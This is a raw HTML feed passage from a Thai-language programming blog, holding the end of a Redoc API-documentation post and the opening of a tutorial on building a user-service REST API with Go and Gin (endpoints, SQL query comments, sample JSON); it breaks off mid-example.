https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-08.23.36.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/01/Screenshot-2568-01-07-at-08.23.36.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE1B;&#xE34;&#xE14; <code>redoc-static.html</code> &#xE43;&#xE19; Browser &#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19; API Document &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE44;&#xE15;&#xE25;&#xE4C; Redoc</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-08.36.37.png" class="kg-image" alt loading="lazy" width="2000" height="1724" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-08.36.37.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-08.36.37.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-08.36.37.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/01/Screenshot-2568-01-07-at-08.36.37.png 2400w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded></item><item><title><![CDATA[Building REST API with Go and Gin]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/rb_16527.png" class="kg-image" alt loading="lazy" width="2000" height="2000" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/rb_16527.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/rb_16527.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/rb_16527.png 1600w, https://blog.pjjop.org/content/images/2024/12/rb_16527.png 2000w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;</em></em></em></em></p>]]></description><link>https://blog.pjjop.org/building-rest-api-with-go/</link><guid isPermaLink="false">6760c7390325e40001ec9d2b</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Sat, 28 Dec 2024 14:24:55 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/rb_16527.png" class="kg-image" alt loading="lazy" width="2000" height="2000" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/rb_16527.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/rb_16527.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/rb_16527.png 1600w, https://blog.pjjop.org/content/images/2024/12/rb_16527.png 2000w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; REST API &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; User Service &#xE14;&#xE49;&#xE27;&#xE22; Gin Framework &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Web Framework &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE34;&#xE22;&#xE21;&#xE43;&#xE19; Golang &#xE42;&#xE14;&#xE22;&#xE21;&#xE35; API Endpoint &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ol><li>GET /api/v1/users</li><li>GET /api/v1/users/{user_id}</li><li>POST /api/v1/users</li><li>PUT /api/v1/users/{user_id}</li><li>DELETE /api/v1/users/{user_id}</li><li>GET /health</li></ol><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; HTTP Verb (<strong><strong><strong><strong>Method</strong></strong></strong></strong>) &#xE2B;&#xE25;&#xE31;&#xE01; &#xE46; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; GET, POST, PUT &#xE41;&#xE25;&#xE30; DELETE &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE4D;&#xE32;&#xE2B;&#xE19;&#xE14;&#xE01;&#xE32;&#xE23;&#xE14;&#xE4D;&#xE32;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE44;&#xE14;&#xE49;&#xE01;&#xE31;&#xE1A; Resource &#xE02;&#xE2D;&#xE07; User Service</p><p>&#xE42;&#xE14;&#xE22; <strong><strong><strong><strong>GET</strong></strong></strong></strong> &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07; Resource &#xE41;&#xE25;&#xE30; <strong><strong><strong><strong>POST</strong></strong></strong></strong> &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Resource &#xE43;&#xE2B;&#xE21;&#xE48; &#xE2A;&#xE48;&#xE27;&#xE19; <strong><strong><strong><strong>PUT</strong></strong></strong></strong> &#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Update &#xE41;&#xE1A;&#xE1A;&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48; &#xE41;&#xE25;&#xE30; <strong><strong><strong><strong>DELETE</strong></strong></strong></strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE1A; Resource &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;</p><p>&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Endpoint &#xE21;&#xE35;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p><strong><strong>GET /api/v1/users</strong></strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE32;&#xE01;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE40;&#xE23;&#xE35;&#xE22;&#xE07;&#xE15;&#xE32;&#xE21; id &#xE08;&#xE32;&#xE01;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE44;&#xE1B;&#xE21;&#xE32;&#xE01;<br>- &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07; Parameter<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header<br>- &#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19; Array &#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;</p><pre><code># &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE32;&#xE01;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
# &#xE40;&#xE23;&#xE35;&#xE22;&#xE07;&#xE15;&#xE32;&#xE21; id &#xE08;&#xE32;&#xE01;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE44;&#xE1B;&#xE21;&#xE32;&#xE01;
# query = &quot;SELECT * FROM users ORDER BY id&quot;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
[
    {
        &quot;id&quot;: 1,
        &quot;name&quot;: &quot;Nuttachot&quot;,
        &quot;email&quot;: &quot;nuttachot@email.com&quot;
    },
    {
        &quot;id&quot;: 2,
        &quot;name&quot;: &quot;Poohkan&quot;,
        &quot;email&quot;: &quot;poohkan@email.com&quot;
    }
]</code></pre><p><strong><strong>GET /api/v1/users/{user_id}</strong></strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; id &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38; user_id &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE19; Path<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header<br>- &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE30; Return 404</p><pre><code># &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; id &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;
# query = &quot;SELECT * FROM users WHERE id = %s&quot;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
{
    &quot;id&quot;: 1,
    &quot;name&quot;: &quot;Nuttachot&quot;,
    &quot;email&quot;: &quot;nuttachot@email.com&quot;
}</code></pre><p><strong><strong>POST /api/v1/users</strong></strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE08;&#xE32;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; name &#xE41;&#xE25;&#xE30; email &#xE21;&#xE32;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; JSON<br>- &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header<br>- email &#xE15;&#xE49;&#xE2D;&#xE07;&#xE44;&#xE21;&#xE48;&#xE0B;&#xE49;&#xE33;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;<br>- &#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; ID</p><pre><code># &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE08;&#xE32;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07;
{
    &quot;name&quot;: &quot;Nuttachot&quot;,
    &quot;email&quot;: &quot;nuttachot@email.com&quot;
}

# &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
{
